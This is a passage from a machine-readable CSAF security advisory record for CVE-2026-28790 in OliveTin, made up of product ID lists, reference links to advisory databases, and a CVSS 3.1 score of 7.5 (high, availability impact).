"CSAFPID-5909099", "CSAFPID-5909100", "CSAFPID-5909101", "CSAFPID-5909102", "CSAFPID-5909103", "CSAFPID-5909104", "CSAFPID-5909105", "CSAFPID-5909106", "CSAFPID-5909107", "CSAFPID-5909108", "CSAFPID-5909109", "CSAFPID-5909110", "CSAFPID-5909111", "CSAFPID-5909112", "CSAFPID-5909113", "CSAFPID-5909114", "CSAFPID-5909115", "CSAFPID-5909116", "CSAFPID-5909117", "CSAFPID-5909118", "CSAFPID-5909119", "CSAFPID-5909120", "CSAFPID-5909121", "CSAFPID-5909122", "CSAFPID-5909123", "CSAFPID-5909124", "CSAFPID-5909125", "CSAFPID-5909126", "CSAFPID-5909127", "CSAFPID-5909128", "CSAFPID-5909129", "CSAFPID-5909130", "CSAFPID-5909131", "CSAFPID-5909132", "CSAFPID-5909133", "CSAFPID-5909134", "CSAFPID-5909135", "CSAFPID-5909136", "CSAFPID-5909137", "CSAFPID-5909138", "CSAFPID-5909139", "CSAFPID-5909140", "CSAFPID-5909141", "CSAFPID-5909142", "CSAFPID-5909143", "CSAFPID-5909144", "CSAFPID-5909145", "CSAFPID-5909146", "CSAFPID-5909147", "CSAFPID-5909148", "CSAFPID-5909149", "CSAFPID-5909150", "CSAFPID-5909151", "CSAFPID-5909152", "CSAFPID-5909153", "CSAFPID-5909154", "CSAFPID-5909155", "CSAFPID-5909156", "CSAFPID-5909157", "CSAFPID-5982404" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-4fqm-6fmh-82mq" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-4fqm-6fmh-82mq" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-4fqm-6fmh-82mq.json?alt=media" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-28790" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28790.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28790" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28790" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28790" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4587.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-28790.json?alt=media" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2FOliveTin%2FOliveTin%2FCVE-2026-28790.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-4fqm-6fmh-82mq" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/OliveTin/OliveTin/commit/d9804182eae43cf49f735e6533ddbe1541c2b9a9" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-4fqm-6fmh-82mq" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.0" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28790" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28790.json" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/OliveTin/OliveTin" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-3052538", "CSAFPID-5118474", "CSAFPID-5118475", "CSAFPID-5118476", "CSAFPID-5118477", "CSAFPID-5118478", "CSAFPID-5118479", "CSAFPID-5118480", "CSAFPID-5118481", "CSAFPID-5118482", "CSAFPID-5118483", "CSAFPID-5118484", "CSAFPID-5118485", "CSAFPID-5118486", "CSAFPID-5118487", "CSAFPID-5118488", "CSAFPID-5118489", "CSAFPID-5118490", "CSAFPID-5118491", "CSAFPID-5118492", "CSAFPID-5118493", "CSAFPID-5118494", "CSAFPID-5118495", "CSAFPID-5118496", "CSAFPID-5118497", "CSAFPID-5118498", "CSAFPID-5118499", "CSAFPID-5118500", "CSAFPID-5118501", "CSAFPID-5118502", "CSAFPID-5118503", "CSAFPID-5118504", "CSAFPID-5118505", "CSAFPID-5118506", "CSAFPID-5118507", "CSAFPID-5118508", "CSAFPID-5118509", "CSAFPID-5118510", "CSAFPID-5118511", "CSAFPID-5118512", "CSAFPID-5118513", "CSAFPID-5118514", "CSAFPID-5118515", "CSAFPID-5118516", "CSAFPID-5118517", "CSAFPID-5118518", "CSAFPID-5118519", "CSAFPID-5118520", "CSAFPID-5118521", "CSAFPID-5118522", "CSAFPID-5118523", "CSAFPID-5118524", "CSAFPID-5118525", "CSAFPID-5118526", "CSAFPID-5118527", "CSAFPID-5118528", "CSAFPID-5118529", "CSAFPID-5118530", "CSAFPID-5118531", "CSAFPID-5118532", "CSAFPID-5118533", "CSAFPID-5118534", "CSAFPID-5118535", "CSAFPID-5118536", "CSAFPID-5118537", "CSAFPID-5118538", "CSAFPID-5118539", "CSAFPID-5118540", "CSAFPID-5118541", "CSAFPID-5118542", "CSAFPID-5118543", "CSAFPID-5118544", "CSAFPID-5118545", "CSAFPID-5118546", "CSAFPID-5118547", "CSAFPID-5118548", "CSAFPID-5118549", "CSAFPID-5118550", "CSAFPID-5118551", "CSAFPID-5118552", "CSAFPID-5118553", "CSAFPID-5118554", "CSAFPID-5118555", "CSAFPID-5118556", "CSAFPID-5118557", "CSAFPID-5118558", "CSAFPID-5118559", "CSAFPID-5118560", "CSAFPID-5118561", "CSAFPID-5118562", "CSAFPID-5118563", "CSAFPID-5701417", "CSAFPID-5723375", "CSAFPID-5723376", "CSAFPID-5723377", "CSAFPID-5723378", "CSAFPID-5723379", "CSAFPID-5723380", "CSAFPID-5723381", "CSAFPID-5723382", "CSAFPID-5723383", "CSAFPID-5723384", "CSAFPID-5723385", "CSAFPID-5723386", "CSAFPID-5723387", "CSAFPID-5723388", "CSAFPID-5723389", "CSAFPID-5723390", "CSAFPID-5723391", "CSAFPID-5723392", "CSAFPID-5723393", "CSAFPID-5723394", "CSAFPID-5723395", "CSAFPID-5723396", "CSAFPID-5723397", "CSAFPID-5723398", "CSAFPID-5723399", "CSAFPID-5723400", "CSAFPID-5723401", "CSAFPID-5723402", "CSAFPID-5723403", "CSAFPID-5723404", "CSAFPID-5723405", "CSAFPID-5723406", "CSAFPID-5723407", "CSAFPID-5758948", "CSAFPID-5763843", "CSAFPID-5775052", "CSAFPID-5908757", "CSAFPID-5909032", "CSAFPID-5909033", "CSAFPID-5909034", "CSAFPID-5909035", "CSAFPID-5909036", "CSAFPID-5909037", "CSAFPID-5909038", "CSAFPID-5909039", "CSAFPID-5909040", "CSAFPID-5909041", "CSAFPID-5909042", "CSAFPID-5909043", "CSAFPID-5909044", "CSAFPID-5909045", "CSAFPID-5909046", "CSAFPID-5909047", "CSAFPID-5909048", "CSAFPID-5909049", "CSAFPID-5909050", "CSAFPID-5909051", "CSAFPID-5909052", "CSAFPID-5909053", "CSAFPID-5909054", "CSAFPID-5909055", "CSAFPID-5909056", "CSAFPID-5909057", "CSAFPID-5909058", "CSAFPID-5909059", "CSAFPID-5909060", "CSAFPID-5909061", "CSAFPID-5909062", "CSAFPID-5909063", "CSAFPID-5909064", "CSAFPID-5909065", "CSAFPID-5909066", "CSAFPID-5909067", "CSAFPID-5909068", "CSAFPID-5909069", "CSAFPID-5909070", "CSAFPID-5909071", "CSAFPID-5909072", "CSAFPID-5909073", "CSAFPID-5909074", "CSAFPID-5909075", "CSAFPID-5909076", "CSAFPID-5909077", "CSAFPID-5909078", "CSAFPID-5909079", "CSAFPID-5909080", "CSAFPID-5909081", "CSAFPID-5909082", "CSAFPID-5909083", "CSAFPID-5909084", "CSAFPID-5909085", "CSAFPID-5909086", "CSAFPID-5909087", "CSAFPID-5909088", "CSAFPID-5909089", "CSAFPID-5909090", "CSAFPID-5909091", "CSAFPID-5909092", "CSAFPID-5909093", "CSAFPID-5909094", "CSAFPID-5909095", "CSAFPID-5909096", "CSAFPID-5909097", "CSAFPID-5909098", "CSAFPID-5909099", "CSAFPID-5909100", "CSAFPID-5909101", "CSAFPID-5909102", "CSAFPID-5909103", "CSAFPID-5909104", "CSAFPID-5909105", "CSAFPID-5909106", "CSAFPID-5909107", "CSAFPID-5909108", "CSAFPID-5909109", "CSAFPID-5909110", "CSAFPID-5909111", "CSAFPID-5909112", "CSAFPID-5909113", "CSAFPID-5909114", "CSAFPID-5909115", "CSAFPID-5909116", "CSAFPID-5909117", "CSAFPID-5909118", "CSAFPID-5909119", "CSAFPID-5909120", "CSAFPID-5909121", "CSAFPID-5909122", "CSAFPID-5909123", "CSAFPID-5909124", "CSAFPID-5909125", "CSAFPID-5909126", "CSAFPID-5909127", "CSAFPID-5909128", "CSAFPID-5909129", "CSAFPID-5909130", "CSAFPID-5909131", "CSAFPID-5909132", "CSAFPID-5909133", "CSAFPID-5909134", "CSAFPID-5909135", "CSAFPID-5909136", "CSAFPID-5909137", "CSAFPID-5909138", "CSAFPID-5909139", "CSAFPID-5909140", "CSAFPID-5909141", "CSAFPID-5909142", "CSAFPID-5909143", "CSAFPID-5909144", "CSAFPID-5909145", "CSAFPID-5909146", "CSAFPID-5909147", "CSAFPID-5909148", "CSAFPID-5909149", "CSAFPID-5909150", "CSAFPID-5909151", "CSAFPID-5909152", "CSAFPID-5909153", "CSAFPID-5909154", "CSAFPID-5909155", "CSAFPID-5909156", "CSAFPID-5909157", "CSAFPID-5982404" ] } ], "title": "CVE-2026-28790" } ] }